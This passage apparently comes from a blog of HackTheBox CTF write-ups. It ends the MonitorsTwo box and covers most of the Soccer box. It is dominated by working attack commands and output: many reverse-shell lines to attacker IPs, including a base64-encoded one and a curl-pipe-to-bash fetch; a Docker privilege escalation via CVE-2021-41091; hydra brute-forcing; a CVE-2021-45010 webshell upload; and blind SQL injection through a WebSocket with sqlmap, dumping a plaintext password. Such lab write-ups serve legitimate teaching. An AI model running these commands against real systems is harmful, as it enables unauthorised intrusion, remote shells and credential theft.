/dev/null -c bash │ │ ├─ 90818 bash │ │ ├─ 90827 bash -p │ │ ├─ 90842 less /etc/passwd │ │ ├─ 90850 sh -c /bin/bash -c sh │ │ ├─ 90851 sh │ │ ├─ 90854 bash -p │ │ ├─ 90862 less /etc/passwd │ │ ├─ 90878 sh -c /bin/bash -c /bin/sh │ │ ├─ 90879 /bin/sh │ │ ├─ 90881 bash -p │ │ ├─108208 vim.tiny /etc/shadow │ │ └─108210 /bin/bash │ └─session-12.scope │ ├─ 67821 sshd: marcus [priv] │ ├─ 69044 sshd: marcus@pts/0 │ ├─ 69143 -bash │ ├─127712 systemd-cgls │ └─127713 pager Nothing interesting… there are also cgroups related to docker containers: ├─docker │ ├─e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 │ │ └─1255 mysqld │ └─50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e │ ├─ 1376 apache2 -DFOREGROUND │ ├─ 1565 apache2 -DFOREGROUND │ ├─ 1615 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.103/9999 0>&1' │ ├─ 1617 bash -c bash -i >& /dev/tcp/10.10.14.103/9999 0>&1 │ ├─ 1618 bash -i │ ├─ 1731 apache2 -DFOREGROUND │ ├─ 1785 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.3/5577 0>&1' │ ├─ 1787 bash -c bash -i >& /dev/tcp/10.10.14.3/5577 0>&1 │ ├─ 1788 bash -i │ ├─ 1790 script -qc /bin/bash /dev/null │ ├─ 1791 sh -c /bin/bash │ ├─ 1792 /bin/bash │ ├─ 2091 /bin/bash │ ├─ 2093 /bin/bash │ ├─ 2095 /bin/bash │ ├─ 2194 bash -p │ ├─ 2367 apache2 -DFOREGROUND │ ├─ 2391 apache2 -DFOREGROUND │ ├─ 2393 apache2 -DFOREGROUND │ ├─ 2515 php │ ├─ 2544 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.3/5577 0>&1' │ ├─ 2546 bash -c bash -i >& /dev/tcp/10.10.14.3/5577 0>&1 │ ├─ 2547 bash -i │ ├─ 2554 script -qc /bin/bash /dev/null │ ├─ 2555 sh -c /bin/bash │ ├─ 2556 /bin/bash │ ├─ 2615 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.38/4444 0>&1' │ ├─ 2617 bash -c bash -i >& /dev/tcp/10.10.14.38/4444 0>&1 │ ├─ 2618 bash -i │ ├─ 2880 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.16.42/789 0>&1' │ ├─ 2882 bash -c bash -i >& /dev/tcp/10.10.16.42/789 0>&1 │ ├─ 2883 bash -i │ ├─ 3391 bash -p │ ├─ 3436 script /dev/null -c bash │ ├─ 3437 sh -c bash │ ├─ 3438 bash │ ├─ 3918 apache2 -DFOREGROUND │ ├─ 3965 apache2 -DFOREGROUND │ ├─ 4074 apache2 -DFOREGROUND │ ├─ 4082 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.47/1337 0>&1' │ ├─ 4084 bash -c bash -i >& /dev/tcp/10.10.14.47/1337 0>&1 │ ├─ 4085 bash -i │ ├─ 5077 /bin/bash │ ├─ 5162 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ; /bin/sh -c \"bash -c 'bash -i >& /dev/tcp/10.10.16.51/4444 0>&1'\" │ ├─ 5164 /bin/sh -c bash -c 'bash -i >& /dev/tcp/10.10.16.51/4444 0>&1' │ ├─ 5165 bash -c bash -i >& /dev/tcp/10.10.16.51/4444 0>&1 │ ├─ 5166 bash -i │ ├─ 6537 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.122/9876 0>&1' │ ├─ 6539 bash -c bash -i >& /dev/tcp/10.10.14.122/9876 0>&1 │ ├─ 6540 bash -i │ ├─ 38062 sh -p │ ├─ 38063 bash -p │ ├─ 38066 sh -p │ ├─ 38358 apache2 -DFOREGROUND │ ├─ 38485 apache2 -DFOREGROUND │ ├─ 38514 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.16.62/9999 0>&1' │ ├─ 38516 bash -c bash -i >& /dev/tcp/10.10.16.62/9999 0>&1 │ ├─ 38517 bash -i │ ├─ 38532 apache2 -DFOREGROUND │ ├─ 38536 /bin/bash │ ├─ 38662 mysql --host=db --user=root --password=x xx │ ├─ 38851 apache2 -DFOREGROUND │ ├─ 38984 apache2 -DFOREGROUND │ ├─ 39044 apache2 -DFOREGROUND │ ├─ 39108 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.16.42/789 0>&1' │ ├─ 39110 bash -c bash -i >& /dev/tcp/10.10.16.42/789 0>&1 │ ├─ 39111 bash -i │ ├─ 39225 mysql --host=db --user=root -p │ ├─ 39267 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.14.123/7474 0>&1' │ ├─ 39269 bash -c bash -i >& /dev/tcp/10.10.14.123/7474 0>&1 │ ├─ 39270 bash -i │ ├─ 56025 apache2 -DFOREGROUND │ ├─ 56059 apache2 -DFOREGROUND │ ├─ 56100 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.16.42/789 0>&1' │ ├─ 56102 bash -c bash -i >& /dev/tcp/10.10.16.42/789 0>&1 │ ├─ 56103 bash -i │ ├─ 56104 bash -p │ ├─ 56118 /bin/bash │ ├─ 56120 script /dev/null -c bash │ ├─ 56121 sh -c bash │ ├─ 56122 bash │ ├─ 56127 bash -p │ ├─ 56247 mysql --host=db --user=root --password=x xx cacti │ ├─ 56273 apache2 -DFOREGROUND │ ├─ 56302 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i >& /dev/tcp/10.10.16.42/789 0>&1' │ ├─ 56304 bash -c bash -i >& /dev/tcp/10.10.16.42/789 0>&1 │ ├─ 56305 bash -i │ ├─ 56306 bash -p │ ├─ 56309 script /dev/null -c bash │ ├─ 56310 sh -c bash │ ├─ 56311 bash │ ├─ 56313 bash -p │ ├─ 68453 apache2 -DFOREGROUND │ ├─ 90678 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime 1;echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTM0LzQ0NDMgPCYxJw== | base64 -d | bash - │ ├─ 90682 bash - │ ├─ 90683 bash -i │ ├─ 90783 apache2 -DFOREGROUND │ ├─ 90784 apache2 -DFOREGROUND │ ├─ 90836 apache2 -DFOREGROUND │ ├─ 90837 apache2 -DFOREGROUND │ ├─108209 apache2 -DFOREGROUND │ ├─123697 apache2 -DFOREGROUND │ ├─127658 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime 1;echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTUwLzQ0NDMgPCYxJw== | base64 -d | bash - │ ├─127662 bash - │ ├─127663 bash -i │ ├─127698 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ; /bin/sh -c \"curl 10.10.14.96:777/shell.sh|bash\" │ ├─127663 bash -i │ ├─127698 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ; /bin/sh -c \"curl 10.10.14.96:777/shell.sh|bash\" │ ├─127700 /bin/sh -c curl 10.10.14.96:777/shell.sh|bash │ ├─127702 bash │ ├─127703 bash -i │ ├─127705 apache2 -DFOREGROUND │ ├─127706 /bin/bash │ └─127711 apache2 -DFOREGROUND └─system.slice ├─containerd.service │ ├─ 897 /usr/bin/containerd │ ├─1234 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock │ └─1347 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock ├─docker.service │ ├─ 883 /usr/sbin/dockerd -H fd:// │ └─1332 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80 The commands of the other players given inside the container containing the php web app are visible! XD ╔══════════╣ Mails (limit 50) 4721 4 -rw-r--r-- 1 root mail 1809 Oct 18 2021 /var/mail/marcus 4721 4 -rw-r--r-- 1 root mail 1809 Oct 18 2021 /var/spool/mail/marcus cat /var/mail/marcus From: administrator@monitorstwo.htb To: all@monitorstwo.htb Subject: Security Bulletin - Three Vulnerabilities to be Aware Of Dear all, We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible. CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability. CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability. CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed. We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department. Best regards, Administrator CISO Monitor Two Security Team uname -r 5.4.0-147-generic docker -v Docker version 20.10.5+dfsg1, build 55c4c88 it’s vulnerable! ╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files /dev/mqueue /dev/shm /home/marcus /run/lock /run/screen /run/user/1000 /run/user/1000/gnupg /run/user/1000/inaccessible /run/user/1000/systemd /run/user/1000/systemd/units Exploit the CVE-2021-41091 vulnerability: https://github.com/UncleJ4ck/CVE-2021-41091 I download exp.sh from my host and run it as marcus - [!] Vulnerable to CVE-2021-41091 [!] Now connect to your Docker container that is accessible and obtain root access ! [>] After gaining root access execute this command (chmod u+s /bin/bash) I rerun https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit to get a shell inside the container I become root of the container: capsh --gid=0 --uid=0 -- I execute the given command: chmod u+s /bin/bash Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes yes [!] Available Overlay2 Filesystems:/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged[!] Iterating over the available Overlay2 filesystems ![?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged[!] Rooted ![>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'[!] Spawning Shellbash-5.1# exit cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged && ./bin/bash -p -> rooted! Here’s what was behind this docker container: cat /root/cacti/docker-compose.yml version: '2' services: web: image: cacti:latest ports: - \"127.0.0.1:8080:80\" depends_on: - db entrypoint: - bash - /entrypoint.sh volumes: - ./entrypoint.sh:/entrypoint.sh command: apache2-foreground cap_drop: - mknod - dac_override db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=cacti " },{ "title": "Soccer writeup", "tags": ["Writeups","HackTheBox","CTF","TinyFileManager-2.4.3","CVE-2021-45010","Brute-Force","Nginx-Vhost","WebSocket","Blind-SQL-Injection","Dstat-Evil-Plugin","Doas"], "date": "May 2, 2023", "meta": "0xfederico", "author": "0xfederico", "content": "INDEX Enumeration Privesc www-data Privesc playerEnumeration nmap -A -p- -T4 10.10.11.194 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA) | 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA) |_ 256 5797565def793c2fcbdb35fff17c615c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Tue, 02 May 2023 17:47:26 GMT | Connection: close | <!DOCTYPE html> | <html lang=\"en\"> | <head> | <meta charset=\"utf-8\"> | <title>Error</title> | </head> | <body> | <pre>Cannot GET /</pre> | </body> | </html> | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Tue, 02 May 2023 17:47:26 GMT | Connection: close | <!DOCTYPE html> | <html lang=\"en\"> | <head> | <meta charset=\"utf-8\"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.93%I=7%D=5/2%Time=64514CA8%P=x86_64-pc-linux-gnu%r(inf SF:ormix,2F,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\ SF:n\\r\\n\")%r(drda,2F,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x2 SF:0close\\r\\n\\r\\n\")%r(GetRequest,168,\"HTTP/1\\.1\\x20404\\x20Not\\x20Found\\r\\n SF:Content-Security-Policy:\\x20default-src\\x20'none'\\r\\nX-Content-Type-Opt SF:ions:\\x20nosniff\\r\\nContent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nCon SF:tent-Length:\\x20139\\r\\nDate:\\x20Tue,\\x2002\\x20May\\x202023\\x2017:47:26\\x SF:20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n<!DOCTYPE\\x20html>\\n<html\\x20lang= SF:\\\"en\\\">\\n<head>\\n<meta\\x20charset=\\\"utf-8\\\">\\n<title>Error</title>\\n</h SF:ead>\\n<body>\\n<pre>Cannot\\x20GET\\x20/</pre>\\n</body>\\n</html>\\n\")%r(HTT SF:POptions,16C,\"HTTP/1\\.1\\x20404\\x20Not\\x20Found\\r\\nContent-Security-Poli SF:cy:\\x20default-src\\x20'none'\\r\\nX-Content-Type-Options:\\x20nosniff\\r\\nC SF:ontent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20143\\r SF:\\nDate:\\x20Tue,\\x2002\\x20May\\x202023\\x2017:47:26\\x20GMT\\r\\nConnection:\\ SF:x20close\\r\\n\\r\\n<!DOCTYPE\\x20html>\\n<html\\x20lang=\\\"en\\\">\\n<head>\\n<met SF:a\\x20charset=\\\"utf-8\\\">\\n<title>Error</title>\\n</head>\\n<body>\\n<pre>Ca SF:nnot\\x20OPTIONS\\x20/</pre>\\n</body>\\n</html>\\n\")%r(RTSPRequest,16C,\"HTT SF:P/1\\.1\\x20404\\x20Not\\x20Found\\r\\nContent-Security-Policy:\\x20default-sr SF:c\\x20'none'\\r\\nX-Content-Type-Options:\\x20nosniff\\r\\nContent-Type:\\x20t SF:ext/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20143\\r\\nDate:\\x20Tue,\\x SF:2002\\x20May\\x202023\\x2017:47:26\\x20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n< SF:!DOCTYPE\\x20html>\\n<html\\x20lang=\\\"en\\\">\\n<head>\\n<meta\\x20charset=\\\"ut SF:f-8\\\">\\n<title>Error</title>\\n</head>\\n<body>\\n<pre>Cannot\\x20OPTIONS\\x SF:20/</pre>\\n</body>\\n</html>\\n\")%r(RPCCheck,2F,\"HTTP/1\\.1\\x20400\\x20Bad\\ SF:x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\")%r(DNSVersionBindReqTCP,2F, SF:\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\")%r SF:(DNSStatusRequestTCP,2F,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnecti SF:on:\\x20close\\r\\n\\r\\n\")%r(Help,2F,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\ SF:nConnection:\\x20close\\r\\n\\r\\n\")%r(SSLSessionReq,2F,\"HTTP/1\\.1\\x20400\\x2 SF:0Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/] I open the site and find the software version: <div class=\"footer text-center\"> &mdash;&mdash; &copy; <a href=\"https://tinyfilemanager.github.io/\" target=\"_blank\" class=\"text-muted\" data-version=\"2.4.3\">CCP Programmers</a> &mdash;&mdash; </div> This version is vulnerable to: CVE-2021-45010 To exploit the vulnerability it is necessary to have a valid account, I have no credentials so I do a bruteforce attack: hydra -l admin -P /usr/share/wordlists/rockyou.txt soccer.htb http-post-form \"/tiny/tinyfilemanager.php:fm_usr=admin&fm_pwd=^PASS^:Login failed. Invalid username or password\" Unfortunately I can’t find anything but if I change wordlist in /usr/share/wordlists/seclist/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt I can find the password: [80][http-post-form] host: soccer.htb login: admin password: admin@123 Opening the site http://soccer.htb/tiny/tinyfilemanager.php?p=&upload I see that: Destination Folder: /var/www/html/ Now I can perform the attack: cve-2021-45010 -u http://soccer.htb/tiny/ -l admin -p admin@123 -g tiny/uploads -r uploads/ PoC for CVE-2021-45010 - Tiny File Manager Version < 2.4.7 [*] Attempting Login: [*] URL : http://soccer.htb/tiny/ [*] Username : admin [*] Password : admin@123 [+] Session Cookie 🍪: q4863ddhm6fhqa6bvpj6pgsqqv [+] Login Success! [+] Vulnerable version detected: 2.4.3 [*] Attempting to Leak Web Root... [+] Got Web Root: /var/www/html/tiny [*] Attempting Webshell Upload: [*] Filename : yllcuaazec.php [*] GUI Path : tiny/uploads [*] Filesystem Path ../../../../../../../../../../../var/www/html/tiny/uploads/yllcuaazec.php [+] Webshell Uploaded! [*] Starting Webshell at: http://soccer.htb/tiny/uploads/yllcuaazec.php [+] Info: Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux [+] User: uid=33(www-data) gid=33(www-data) groups=33(www-data) Type quit to exit id uid=33(www-data) gid=33(www-data) groups=33(www-data) Privesc www-data find / -user www-data 2>/dev/null /run/php /run/php/php7.4-fpm.sock /var/lib/nginx/proxy /var/lib/nginx/proxy/7 /var/lib/nginx/proxy/7/00 /var/lib/nginx/proxy/7/01 /var/lib/nginx/proxy/4 /var/lib/nginx/proxy/4/02 /var/lib/nginx/proxy/4/00 /var/lib/nginx/proxy/4/01 /var/lib/nginx/proxy/2 /var/lib/nginx/proxy/2/02 /var/lib/nginx/proxy/2/00 /var/lib/nginx/proxy/2/01 /var/lib/nginx/proxy/8 /var/lib/nginx/proxy/8/00 /var/lib/nginx/proxy/8/01 /var/lib/nginx/proxy/6 /var/lib/nginx/proxy/6/00 /var/lib/nginx/proxy/6/01 /var/lib/nginx/proxy/1 /var/lib/nginx/proxy/1/02 /var/lib/nginx/proxy/1/00 /var/lib/nginx/proxy/1/01 /var/lib/nginx/proxy/0 /var/lib/nginx/proxy/0/02 /var/lib/nginx/proxy/0/01 /var/lib/nginx/proxy/9 /var/lib/nginx/proxy/9/00 /var/lib/nginx/proxy/9/01 /var/lib/nginx/proxy/3 /var/lib/nginx/proxy/3/02 /var/lib/nginx/proxy/3/00 /var/lib/nginx/proxy/3/01 /var/lib/nginx/proxy/5 /var/lib/nginx/proxy/5/00 /var/lib/nginx/proxy/5/01 /var/lib/nginx/scgi /var/lib/nginx/fastcgi /var/lib/nginx/uwsgi /var/lib/nginx/body /var/www/html/tiny/uploads/qkvaywkhoc.php /var/log/nginx/access.log cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false player:x:1001:1001::/home/player:/bin/bash mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false _laurel:x:997:997::/var/log/laurel:/bin/false I download and run linpeas.sh Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users ╔══════════╣ Active Ports ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1122/nginx: worker tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN 1122/nginx: worker tcp6 0 0 :::22 :::* LISTEN - ══╣ PHP exec extensions drwxr-xr-x 2 root root 4096 Dec 1 13:48 /etc/nginx/sites-enabled lrwxrwxrwx 1 root root 41 Nov 17 08:39 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb server { listen 80; listen [::]:80; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } lrwxrwxrwx 1 root root 34 Nov 17 08:06 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default server { listen 80; listen [::]:80; server_name 0.0.0.0; return 301 http://soccer.htb$request_uri; } server { listen 80; listen [::]:80; server_name soccer.htb; root /var/www/html; index index.html tinyfilemanager.php; location / { try_files $uri $uri/ =404; } location ~ \\.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } location ~ /\\.ht { deny all; } } ╔══════════╣ Searching root files in home dirs (limit 30) /home/ /home/player/.viminfo /home/player/user.txt /home/player/.bash_history /root/ /var/www /var/www/html /var/www/html/ground1.jpg /var/www/html/ground4.jpg /var/www/html/football.jpg /var/www/html/ground3.jpg /var/www/html/index.html /var/www/html/tiny /var/www/html/tiny/tinyfilemanager.php /var/www/html/tiny/uploads /var/www/html/ground2.jpg I add soc-player.soccer.htb to /etc/hosts and visit the full site behind reverse proxy. I create an account, log in and see what the site allows me to do. I am assigned a ticket and I can query some backend which tells me if it exists or not. From the “Network” tab I don’t see traffic generated at each entry of ticket IDs but only an initial request: GET ws://soc-player.soccer.htb:9091/ It’s a WebSocket, I look at the JS source code that does this thing: <script> var ws = new WebSocket(\"ws://soc-player.soccer.htb:9091\"); window.onload = function () { var btn = document.getElementById('btn'); var input = document.getElementById('id'); ws.onopen = function (e) { console.log('connected to the server') } input.addEventListener('keypress', (e) => { keyOne(e) }); function keyOne(e) { e.stopPropagation(); if (e.keyCode === 13) { e.preventDefault(); sendText(); } } function sendText() { var msg = input.value; if (msg.length > 0) { ws.send(JSON.stringify({ \"id\": msg })) } else append(\"????????\") } } ws.onmessage = function (e) { append(e.data) } function append(msg) { let p = document.querySelector(\"p\"); // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16); // p.style.color = randomColor; p.textContent = msg } </script> I can use BurpSuite to edit open communication to my liking; since an ID is being checked a backend is probably being queried. I try to see if I can exploit a SQLI by focusing on the MYSQL DBMS which is most likely installed on the host as port 3306 is open. Also I can see the MYSQL version with the command: mysql -V mysql Ver 8.0.31-0ubuntu0.20.04.2 for Linux on x86_64 ((Ubuntu)) And finally see if it matches the response on the listening port: curl --http0.9 localhost:3306 > /tmp/out.txt 2>&1 8.0.31-0ubuntu0.20.04.208I{ta#o�����0cyOt@-KF>'caching_sha2_password!��#08S01Got packets out of order Ok, the backend is MYSQL, so if it’s used there might be a SQLI: sqlmap -u \"ws://soc-player.soccer.htb:9091/\" --method=POST --data='{\"id\":\"1*\"}' --dbms=MySQL --risk 3 Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: {\"id\":\"-5963 OR 3767=3767\"} sqlmap -u \"ws://soc-player.soccer.htb:9091/\" --method=POST --data='{\"id\":\"1*\"}' --dbms=MySQL --risk 3 --dbs available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] soccer_db [*] sys sqlmap -u \"ws://soc-player.soccer.htb:9091/\" --method=POST --data='{\"id\":\"1*\"}' --dbms=MySQL --risk 3 -D soccer_db --tables [1 table] +----------+ | accounts | +----------+ sqlmap -u \"ws://soc-player.soccer.htb:9091/\" --method=POST --data='{\"id\":\"1*\"}' --dbms=MySQL --risk 3 -D soccer_db -T accounts --columns [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | email | varchar(40) | | id | int | | password | varchar(40) | | username | varchar(40) | +----------+-------------+ sqlmap -u \"ws://soc-player.soccer.htb:9091/\" --method=POST --data='{\"id\":\"1*\"}' --dbms=MySQL --risk 3 -D soccer_db -T accounts --dump [1 entry] +------+-------------------+----------------------+----------+ | id | email | password | username | +------+-------------------+----------------------+----------+ | 1324 | player@player.htb | PlayerOftheMatch2022 | player | +------+-------------------+----------------------+----------+ I got the credentials of the user player, being present in /etc/passwd I try to login with ssh. Bingo! Privesc player I run linpeas.sh proc /proc proc defaults,nodev,relatime,hidepid=2 ╔══════════╣ Searching root files in home dirs (limit 30) /home/ /home/player/.viminfo /home/player/user.txt /home/player/.bash_history /root/ /var/www /var/www/html /var/www/html/ground1.jpg /var/www/html/ground4.jpg /var/www/html/football.jpg /var/www/html/ground3.jpg /var/www/html/index.html /var/www/html/tiny /var/www/html/tiny/tinyfilemanager.php /var/www/html/tiny/uploads /var/www/html/ground2.jpg ╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files /dev/mqueue /dev/shm /home/player /run/lock /run/screen 